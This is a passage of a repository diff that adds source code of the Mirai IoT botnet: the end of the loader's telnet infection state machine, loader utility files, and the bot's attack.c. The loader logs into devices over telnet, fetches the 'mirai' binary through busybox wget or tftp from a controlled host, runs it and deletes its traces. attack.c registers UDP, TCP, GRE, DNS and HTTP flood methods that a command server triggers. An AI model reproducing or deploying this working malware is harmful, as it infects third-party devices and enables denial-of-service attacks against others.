|                             util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n"); | ||||
|                             conn->state_telnet = TELNET_PARSE_MOUNTS; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_PARSE_MOUNTS: | ||||
|                         consumed = connection_consume_mounts(conn); | ||||
|                         if (consumed) | ||||
|                             conn->state_telnet = TELNET_READ_WRITEABLE; | ||||
|                         break; | ||||
|                     case TELNET_READ_WRITEABLE: | ||||
|                         consumed = connection_consume_written_dirs(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir); | ||||
| #endif | ||||
|                             util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir); | ||||
|                             util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n"); | ||||
|                             conn->state_telnet = TELNET_COPY_ECHO; | ||||
|                             conn->timeout = 120; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_COPY_ECHO: | ||||
|                         consumed = connection_consume_copy_op(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd); | ||||
| #endif | ||||
|                             if (!conn->info.has_arch) | ||||
|                             { | ||||
|                                 conn->state_telnet = TELNET_DETECT_ARCH; | ||||
|                                 conn->timeout = 120; | ||||
|                                 // DO NOT COMBINE THESE | ||||
|                                 util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n"); | ||||
|                                 util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); | ||||
|                             } | ||||
|                             else | ||||
|                             { | ||||
|                                 conn->state_telnet = TELNET_UPLOAD_METHODS; | ||||
|                                 conn->timeout = 15; | ||||
|                                 util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); | ||||
|                             } | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_DETECT_ARCH: | ||||
|                         consumed = connection_consume_arch(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
|                             conn->timeout = 15; | ||||
|                             if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL) | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[FD%d] Cannot determine architecture\n", conn->fd); | ||||
| #endif | ||||
|                                 connection_close(conn); | ||||
|                             } | ||||
|                             else if (strcmp(conn->info.arch, "arm") == 0) | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[FD%d] Determining ARM sub-type\n", conn->fd); | ||||
| #endif | ||||
|                                 util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n"); | ||||
|                                 conn->state_telnet = TELNET_ARM_SUBTYPE; | ||||
|                             } | ||||
|                             else | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch); | ||||
| #endif | ||||
|                                 util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); | ||||
|                                 conn->state_telnet = TELNET_UPLOAD_METHODS; | ||||
|                             } | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_ARM_SUBTYPE: | ||||
|                         if ((consumed = connection_consume_arm_subtype(conn)) > 0) | ||||
|                         { | ||||
|                             struct binary *bin = binary_get_by_arch(conn->info.arch); | ||||
|  | ||||
|                             if (bin == NULL) | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd); | ||||
| #endif | ||||
|                             } | ||||
|                             else | ||||
|                                 conn->bin = bin; | ||||
|  | ||||
|                             util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); | ||||
|                             conn->state_telnet = TELNET_UPLOAD_METHODS; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_UPLOAD_METHODS: | ||||
|                         consumed = connection_consume_upload_methods(conn); | ||||
|  | ||||
|                         if (consumed) | ||||
|                         { | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Upload method is ", conn->fd); | ||||
| #endif | ||||
|                             switch (conn->info.upload_method) | ||||
|                             { | ||||
|                                 case UPLOAD_ECHO: | ||||
|                                     conn->state_telnet = TELNET_UPLOAD_ECHO; | ||||
|                                     conn->timeout = 30; | ||||
|                                     util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n"); | ||||
| #ifdef DEBUG | ||||
|                                     printf("echo\n"); | ||||
| #endif | ||||
|                                     break; | ||||
|                                 case UPLOAD_WGET: | ||||
|                                     conn->state_telnet = TELNET_UPLOAD_WGET; | ||||
|                                     conn->timeout = 120; | ||||
|                                     util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n", | ||||
|                                                     wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch); | ||||
| #ifdef DEBUG | ||||
|                                     printf("wget\n"); | ||||
| #endif | ||||
|                                     break; | ||||
|                                 case UPLOAD_TFTP: | ||||
|                                     conn->state_telnet = TELNET_UPLOAD_TFTP; | ||||
|                                     conn->timeout = 120; | ||||
|                                     util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n", | ||||
|                                                     FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip); | ||||
| #ifdef DEBUG | ||||
|                                     printf("tftp\n"); | ||||
| #endif | ||||
|                                     break; | ||||
|                             } | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_UPLOAD_ECHO:    | ||||
|                         consumed = connection_upload_echo(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
|                             conn->state_telnet = TELNET_RUN_BINARY; | ||||
|                             conn->timeout = 30; | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Finished echo loading!\n", conn->fd); | ||||
| #endif | ||||
|                             util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch); | ||||
|                             ATOMIC_INC(&wrker->srv->total_echoes); | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_UPLOAD_WGET: | ||||
|                         consumed = connection_upload_wget(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
|                             conn->state_telnet = TELNET_RUN_BINARY; | ||||
|                             conn->timeout = 30; | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Finished wget loading\n", conn->fd); | ||||
| #endif | ||||
|                             util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch); | ||||
|                             ATOMIC_INC(&wrker->srv->total_wgets); | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_UPLOAD_TFTP: | ||||
|                         consumed = connection_upload_tftp(conn); | ||||
|                         if (consumed > 0) | ||||
|                         { | ||||
|                             conn->state_telnet = TELNET_RUN_BINARY; | ||||
|                             conn->timeout = 30; | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Finished tftp loading\n", conn->fd); | ||||
| #endif | ||||
|                             util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch); | ||||
|                             ATOMIC_INC(&wrker->srv->total_tftps); | ||||
|                         } | ||||
|                         else if (consumed < -1) // Did not have permission to TFTP | ||||
|                         { | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd); | ||||
| #endif | ||||
|                             consumed *= -1; | ||||
|                             conn->state_telnet = TELNET_UPLOAD_ECHO; | ||||
|                             conn->info.upload_method = UPLOAD_ECHO; | ||||
|  | ||||
|                             conn->timeout = 30; | ||||
|                             util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n"); | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_RUN_BINARY: | ||||
|                         if ((consumed = connection_verify_payload(conn)) > 0) | ||||
|                         { | ||||
|                             if (consumed >= 255) | ||||
|                             { | ||||
|                                 conn->success = TRUE; | ||||
| #ifdef DEBUG | ||||
|                                 printf("[FD%d] Succesfully ran payload\n", conn->fd); | ||||
| #endif | ||||
|                                 consumed -= 255; | ||||
|                             } | ||||
|                             else | ||||
|                             { | ||||
| #ifdef DEBUG | ||||
|                                 printf("[FD%d] Failed to execute payload\n", conn->fd); | ||||
| #endif | ||||
|                                 if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0) | ||||
|                                 { | ||||
|                                     conn->echo_load_pos = 0; | ||||
|                                     strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm")); | ||||
|                                     conn->bin = binary_get_by_arch(conn->info.arch); | ||||
|                                     util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); | ||||
|                                     conn->state_telnet = TELNET_UPLOAD_METHODS; | ||||
|                                     conn->retry_bin = TRUE; | ||||
|                                     break; | ||||
|                                 } | ||||
|                             } | ||||
| #ifndef DEBUG | ||||
|                             util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n"); | ||||
| #else | ||||
|                             util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); | ||||
| #endif | ||||
|                             conn->state_telnet = TELNET_CLEANUP; | ||||
|                             conn->timeout = 10; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_CLEANUP: | ||||
|                         if ((consumed = connection_consume_cleanup(conn)) > 0) | ||||
|                         { | ||||
|                             int tfd = conn->fd; | ||||
|  | ||||
|                             connection_close(conn); | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Cleaned up files\n", tfd); | ||||
| #endif | ||||
|                         } | ||||
|                     default: | ||||
|                         consumed = 0; | ||||
|                         break; | ||||
|                 } | ||||
|  | ||||
|                 if (consumed == 0) // We didn't consume any data | ||||
|                     break; | ||||
|                 else | ||||
|                 { | ||||
|                     if (consumed > conn->rdbuf_pos) | ||||
|                     { | ||||
|                         consumed = conn->rdbuf_pos; | ||||
|                         //printf("consuming more then our position!\n"); | ||||
|                         //abort(); | ||||
|                     } | ||||
|                     conn->rdbuf_pos -= consumed; | ||||
|                     memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); | ||||
|                     conn->rdbuf[conn->rdbuf_pos] = 0; | ||||
|                 } | ||||
|  | ||||
|                 if (conn->rdbuf_pos > 8196) | ||||
|                 { | ||||
|                     printf("oversized buffer! 2\n"); | ||||
|                     abort(); | ||||
|                 } | ||||
|             } | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
| static void *timeout_thread(void *arg) | ||||
| { | ||||
|     struct server *srv = (struct server *)arg; | ||||
|     int i, ct; | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         ct = time(NULL); | ||||
|  | ||||
|         for (i = 0; i < (srv->max_open * 2); i++) | ||||
|         { | ||||
|             struct connection *conn = srv->estab_conns[i]; | ||||
|  | ||||
|             if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[FD%d] Timed out\n", conn->fd); | ||||
| #endif | ||||
|                 if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0) | ||||
|                 { | ||||
|                     conn->last_recv = time(NULL); | ||||
|                     util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n"); | ||||
|                     conn->ctrlc_retry = TRUE; | ||||
|  | ||||
|                     conn->echo_load_pos = 0; | ||||
|                     strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm")); | ||||
|                     conn->bin = binary_get_by_arch(conn->info.arch); | ||||
|                     util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); | ||||
|                     conn->state_telnet = TELNET_UPLOAD_METHODS; | ||||
|                     conn->retry_bin = TRUE; | ||||
|                 } else { | ||||
|                     connection_close(conn); | ||||
|                 } | ||||
|             } else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline) | ||||
|             { | ||||
|                 conn->output_buffer.deadline = 0; | ||||
|                 util_sockprintf(conn->fd, conn->output_buffer.data); | ||||
|             } | ||||
|         } | ||||
|  | ||||
|         sleep(1); | ||||
|     } | ||||
| } | ||||
|  | ||||
							
								
								
									
										63
									
								
								loader/src/telnet_info.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										63
									
								
								loader/src/telnet_info.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,63 @@ | ||||
| #include <stdio.h> | ||||
| #include <stdint.h> | ||||
| #include <stdlib.h> | ||||
| #include <string.h> | ||||
| #include "headers/includes.h" | ||||
| #include "headers/telnet_info.h" | ||||
|  | ||||
| struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info) | ||||
| { | ||||
|     if (user != NULL) | ||||
|         strcpy(info->user, user); | ||||
|     if (pass != NULL) | ||||
|         strcpy(info->pass, pass); | ||||
|     if (arch != NULL) | ||||
|         strcpy(info->arch, arch); | ||||
|     info->addr = addr; | ||||
|     info->port = port; | ||||
|  | ||||
|     info->has_auth = user != NULL || pass != NULL; | ||||
|     info->has_arch = arch != NULL; | ||||
|  | ||||
|     return info; | ||||
| } | ||||
|  | ||||
| struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch | ||||
| { | ||||
|     char *conn, *auth, *arch; | ||||
|     char *addr_str, *port_str, *user = NULL, *pass = NULL; | ||||
|     ipv4_t addr; | ||||
|     port_t port; | ||||
|  | ||||
|     if ((conn = strtok(str, " ")) == NULL) | ||||
|         return NULL; | ||||
|     if ((auth = strtok(NULL, " ")) == NULL) | ||||
|         return NULL; | ||||
|     arch = strtok(NULL, " "); // We don't care if we don't know the arch | ||||
|  | ||||
|     if ((addr_str = strtok(conn, ":")) == NULL) | ||||
|         return NULL; | ||||
|     if ((port_str = strtok(NULL, ":")) == NULL) | ||||
|         return NULL; | ||||
|  | ||||
|     if (strlen(auth) == 1) | ||||
|     { | ||||
|         if (auth[0] == ':') | ||||
|         { | ||||
|             user = ""; | ||||
|             pass = ""; | ||||
|         } | ||||
|         else if (auth[0] != '?') | ||||
|             return NULL; | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         user = strtok(auth, ":"); | ||||
|         pass = strtok(NULL, ":"); | ||||
|     } | ||||
|  | ||||
|     addr = inet_addr(addr_str); | ||||
|     port = htons(atoi(port_str)); | ||||
|  | ||||
|     return telnet_info_new(user, pass, arch, addr, port, out); | ||||
| } | ||||
							
								
								
									
										174
									
								
								loader/src/util.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										174
									
								
								loader/src/util.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,174 @@ | ||||
| #include <stdint.h> | ||||
| #include <sys/socket.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <fcntl.h> | ||||
| #include <stdio.h> | ||||
| #include <string.h> | ||||
| #include <stdarg.h> | ||||
| #include "headers/includes.h" | ||||
| #include "headers/util.h" | ||||
| #include "headers/server.h" | ||||
|  | ||||
| void hexDump (char *desc, void *addr, int len) { | ||||
|     int i; | ||||
|     unsigned char buff[17]; | ||||
|     unsigned char *pc = (unsigned char*)addr; | ||||
|  | ||||
|     // Output description if given. | ||||
|     if (desc != NULL) | ||||
|         printf ("%s:\n", desc); | ||||
|  | ||||
|     if (len == 0) { | ||||
|         printf("  ZERO LENGTH\n"); | ||||
|         return; | ||||
|     } | ||||
|     if (len < 0) { | ||||
|         printf("  NEGATIVE LENGTH: %i\n",len); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     // Process every byte in the data. | ||||
|     for (i = 0; i < len; i++) { | ||||
|         // Multiple of 16 means new line (with line offset). | ||||
|  | ||||
|         if ((i % 16) == 0) { | ||||
|             // Just don't print ASCII for the zeroth line. | ||||
|             if (i != 0) | ||||
|                 printf ("  %s\n", buff); | ||||
|  | ||||
|             // Output the offset. | ||||
|             printf ("  %04x ", i); | ||||
|         } | ||||
|  | ||||
|         // Now the hex code for the specific character. | ||||
|         printf (" %02x", pc[i]); | ||||
|  | ||||
|         // And store a printable ASCII character for later. | ||||
|         if ((pc[i] < 0x20) || (pc[i] > 0x7e)) | ||||
|             buff[i % 16] = '.'; | ||||
|         else | ||||
|             buff[i % 16] = pc[i]; | ||||
|         buff[(i % 16) + 1] = '\0'; | ||||
|     } | ||||
|  | ||||
|     // Pad out last line if not exactly 16 characters. | ||||
|     while ((i % 16) != 0) { | ||||
|         printf ("   "); | ||||
|         i++; | ||||
|     } | ||||
|  | ||||
|     // And print the final ASCII bit. | ||||
|     printf ("  %s\n", buff); | ||||
| } | ||||
|  | ||||
| int util_socket_and_bind(struct server *srv) | ||||
| { | ||||
|     struct sockaddr_in bind_addr; | ||||
|     int i, fd, start_addr; | ||||
|     BOOL bound = FALSE; | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) | ||||
|         return -1; | ||||
|  | ||||
|     bind_addr.sin_family = AF_INET; | ||||
|     bind_addr.sin_port = 0; | ||||
|  | ||||
|     // Try to bind on the first available address | ||||
|     start_addr = rand() % srv->bind_addrs_len; | ||||
|     for (i = 0; i < srv->bind_addrs_len; i++) | ||||
|     { | ||||
|         bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr]; | ||||
|         if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1) | ||||
|         { | ||||
|             if (++start_addr == srv->bind_addrs_len) | ||||
|                 start_addr = 0; | ||||
|         } | ||||
|         else | ||||
|         { | ||||
|             bound = TRUE; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|     if (!bound) | ||||
|     { | ||||
|         close(fd); | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to bind on any address\n"); | ||||
| #endif | ||||
|         return -1; | ||||
|     } | ||||
|  | ||||
|     // Set the socket in nonblocking mode | ||||
|     if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n"); | ||||
| #endif | ||||
|     } | ||||
|     return fd; | ||||
| } | ||||
|  | ||||
| int util_memsearch(char *buf, int buf_len, char *mem, int mem_len) | ||||
| { | ||||
|     int i, matched = 0; | ||||
|  | ||||
|     if (mem_len > buf_len) | ||||
|         return -1; | ||||
|  | ||||
|     for (i = 0; i < buf_len; i++) | ||||
|     { | ||||
|         if (buf[i] == mem[matched]) | ||||
|         { | ||||
|             if (++matched == mem_len) | ||||
|                 return i + 1; | ||||
|         } | ||||
|         else | ||||
|             matched = 0; | ||||
|     } | ||||
|  | ||||
|     return -1; | ||||
| } | ||||
|  | ||||
| BOOL util_sockprintf(int fd, const char *fmt, ...) | ||||
| { | ||||
|     char buffer[BUFFER_SIZE + 2]; | ||||
|     va_list args; | ||||
|     int len; | ||||
|  | ||||
|     va_start(args, fmt); | ||||
|     len = vsnprintf(buffer, BUFFER_SIZE, fmt, args); | ||||
|     va_end(args); | ||||
|  | ||||
|     if (len > 0) | ||||
|     { | ||||
|         if (len > BUFFER_SIZE) | ||||
|             len = BUFFER_SIZE; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|         hexDump("TELOUT", buffer, len); | ||||
| #endif | ||||
|         if (send(fd, buffer, len, MSG_NOSIGNAL) != len) | ||||
|             return FALSE; | ||||
|     } | ||||
|  | ||||
|     return TRUE; | ||||
| } | ||||
|  | ||||
| char *util_trim(char *str) | ||||
| { | ||||
|     char *end; | ||||
|  | ||||
|     while(isspace(*str)) | ||||
|         str++; | ||||
|  | ||||
|     if(*str == 0) | ||||
|         return str; | ||||
|  | ||||
|     end = str + strlen(str) - 1; | ||||
|     while(end > str && isspace(*end)) | ||||
|         end--; | ||||
|  | ||||
|     *(end+1) = 0; | ||||
|  | ||||
|     return str; | ||||
| } | ||||
							
								
								
									
										250
									
								
								mirai/bot/attack.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										250
									
								
								mirai/bot/attack.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,250 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <signal.h> | ||||
| #include <errno.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "attack.h" | ||||
| #include "rand.h" | ||||
| #include "util.h" | ||||
| #include "scanner.h" | ||||
|  | ||||
|  | ||||
| uint8_t methods_len = 0; | ||||
| struct attack_method **methods = NULL; | ||||
| int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0}; | ||||
|  | ||||
| BOOL attack_init(void) | ||||
| { | ||||
|     int i; | ||||
|  | ||||
|     add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); | ||||
|     add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); | ||||
|     add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); | ||||
| 	add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); | ||||
|  | ||||
|     add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); | ||||
|     add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); | ||||
|     add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); | ||||
|  | ||||
|     add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); | ||||
|     add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); | ||||
|  | ||||
|     //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); | ||||
|     add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); | ||||
|  | ||||
|     return TRUE; | ||||
| } | ||||
|  | ||||
| void attack_kill_all(void) | ||||
| { | ||||
|     int i; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("[attack] Killing all ongoing attacks\n"); | ||||
| #endif | ||||
|  | ||||
|     for (i = 0; i < ATTACK_CONCURRENT_MAX; i++) | ||||
|     { | ||||
|         if (attack_ongoing[i] != 0) | ||||
|             kill(attack_ongoing[i], 9); | ||||
|         attack_ongoing[i] = 0; | ||||
|     } | ||||
|  | ||||
| #ifdef MIRAI_TELNET | ||||
|     scanner_init(); | ||||
| #endif | ||||
| } | ||||
|  | ||||
| void attack_parse(char *buf, int len) | ||||
| { | ||||
|     int i; | ||||
|     uint32_t duration; | ||||
|     ATTACK_VECTOR vector; | ||||
|     uint8_t targs_len, opts_len; | ||||
|     struct attack_target *targs = NULL; | ||||
|     struct attack_option *opts = NULL; | ||||
|  | ||||
|     // Read in attack duration uint32_t | ||||
|     if (len < sizeof (uint32_t)) | ||||
|         goto cleanup; | ||||
|     duration = ntohl(*((uint32_t *)buf)); | ||||
|     buf += sizeof (uint32_t); | ||||
|     len -= sizeof (uint32_t); | ||||
|  | ||||
|     // Read in attack ID uint8_t | ||||
|     if (len == 0) | ||||
|         goto cleanup; | ||||
|     vector = (ATTACK_VECTOR)*buf++; | ||||
|     len -= sizeof (uint8_t); | ||||
|  | ||||
|     // Read in target count uint8_t | ||||
|     if (len == 0) | ||||
|         goto cleanup; | ||||
|     targs_len = (uint8_t)*buf++; | ||||
|     len -= sizeof (uint8_t); | ||||
|     if (targs_len == 0) | ||||
|         goto cleanup; | ||||
|  | ||||
|     // Read in all targs | ||||
|     if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len)) | ||||
|         goto cleanup; | ||||
|     targs = calloc(targs_len, sizeof (struct attack_target)); | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         targs[i].addr = *((ipv4_t *)buf); | ||||
|         buf += sizeof (ipv4_t); | ||||
|         targs[i].netmask = (uint8_t)*buf++; | ||||
|         len -= (sizeof (ipv4_t) + sizeof (uint8_t)); | ||||
|  | ||||
|         targs[i].sock_addr.sin_family = AF_INET; | ||||
|         targs[i].sock_addr.sin_addr.s_addr = targs[i].addr; | ||||
|     } | ||||
|  | ||||
|     // Read in flag count uint8_t | ||||
|     if (len < sizeof (uint8_t)) | ||||
|         goto cleanup; | ||||
|     opts_len = (uint8_t)*buf++; | ||||
|     len -= sizeof (uint8_t); | ||||
|  | ||||
|     // Read in all opts | ||||
|     if (opts_len > 0) | ||||
|     { | ||||
|         opts = calloc(opts_len, sizeof (struct attack_option)); | ||||
|         for (i = 0; i < opts_len; i++) | ||||
|         { | ||||
|             uint8_t val_len; | ||||
|  | ||||
|             // Read in key uint8 | ||||
|             if (len < sizeof (uint8_t)) | ||||
|                 goto cleanup; | ||||
|             opts[i].key = (uint8_t)*buf++; | ||||
|             len -= sizeof (uint8_t); | ||||
|  | ||||
|             // Read in data length uint8 | ||||
|             if (len < sizeof (uint8_t)) | ||||
|                 goto cleanup; | ||||
|             val_len = (uint8_t)*buf++; | ||||
|             len -= sizeof (uint8_t); | ||||
|  | ||||
|             if (len < val_len) | ||||
|                 goto cleanup; | ||||
|             opts[i].val = calloc(val_len + 1, sizeof (char)); | ||||
|             util_memcpy(opts[i].val, buf, val_len); | ||||
|             buf += val_len; | ||||
|             len -= val_len; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     errno = 0; | ||||
|     attack_start(duration, vector, targs_len, targs, opts_len, opts); | ||||
|  | ||||
|     // Cleanup | ||||
|     cleanup: | ||||
|     if (targs != NULL) | ||||
|         free(targs); | ||||
|     if (opts != NULL) | ||||
|         free_opts(opts, opts_len); | ||||
| } | ||||
|  | ||||
| void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int pid1, pid2; | ||||
|  | ||||
|     pid1 = fork(); | ||||
|     if (pid1 == -1 || pid1 > 0) | ||||
|         return; | ||||
|  | ||||
|     pid2 = fork(); | ||||
|     if (pid2 == -1) | ||||
|         exit(0); | ||||
|     else if (pid2 == 0) | ||||
|     { | ||||
|         sleep(duration); | ||||
|         kill(getppid(), 9); | ||||
|         exit(0); | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         int i; | ||||
|  | ||||
|         for (i = 0; i < methods_len; i++) | ||||
|         { | ||||
|             if (methods[i]->vector == vector) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[attack] Starting attack...\n"); | ||||
| #endif | ||||
|                 methods[i]->func(targs_len, targs, opts_len, opts); | ||||
|                 break; | ||||
|             } | ||||
|         } | ||||
|  | ||||
|         //just bail if the function returns | ||||
|         exit(0); | ||||
|     } | ||||
| } | ||||
|  | ||||
| char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def) | ||||
| { | ||||
|     int i; | ||||
|  | ||||
|     for (i = 0; i < opts_len; i++) | ||||
|     { | ||||
|         if (opts[i].key == opt) | ||||
|             return opts[i].val; | ||||
|     } | ||||
|  | ||||
|     return def; | ||||
| } | ||||
|  | ||||
| int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def) | ||||
| { | ||||
|     char *val = attack_get_opt_str(opts_len, opts, opt, NULL); | ||||
|  | ||||
|     if (val == NULL) | ||||
|         return def; | ||||
|     else | ||||
|         return util_atoi(val, 10); | ||||
| } | ||||
|  | ||||
| uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def) | ||||
| { | ||||
|     char *val = attack_get_opt_str(opts_len, opts, opt, NULL); | ||||
|  | ||||
|     if (val == NULL) | ||||
|         return def; | ||||
|     else | ||||
|         return inet_addr(val); | ||||
| } | ||||
|  | ||||
| static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func) | ||||
| { | ||||
|     struct attack_method *method = calloc(1, sizeof (struct attack_method)); | ||||
|  | ||||
|     method->vector = vector; | ||||
|     method->func = func; | ||||
|  | ||||
|     methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *)); | ||||
|     methods[methods_len++] = method; | ||||
| } | ||||
|  | ||||
| static void free_opts(struct attack_option *opts, int len) | ||||
| { | ||||
|     int i; | ||||
|  | ||||
|     if (opts == NULL) | ||||
|         return; | ||||
|  | ||||
|     for (i = 0; i < len; i++) | ||||
|     { | ||||
|         if (opts[i].val != NULL) | ||||
|             free(opts[i].val); | ||||
|     } | ||||
|     free(opts); | ||||
| } | ||||
							
								
								
									
										170
									
								
								mirai/bot/attack.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										170
									
								
								mirai/bot/attack.h
									
									
									
									
									
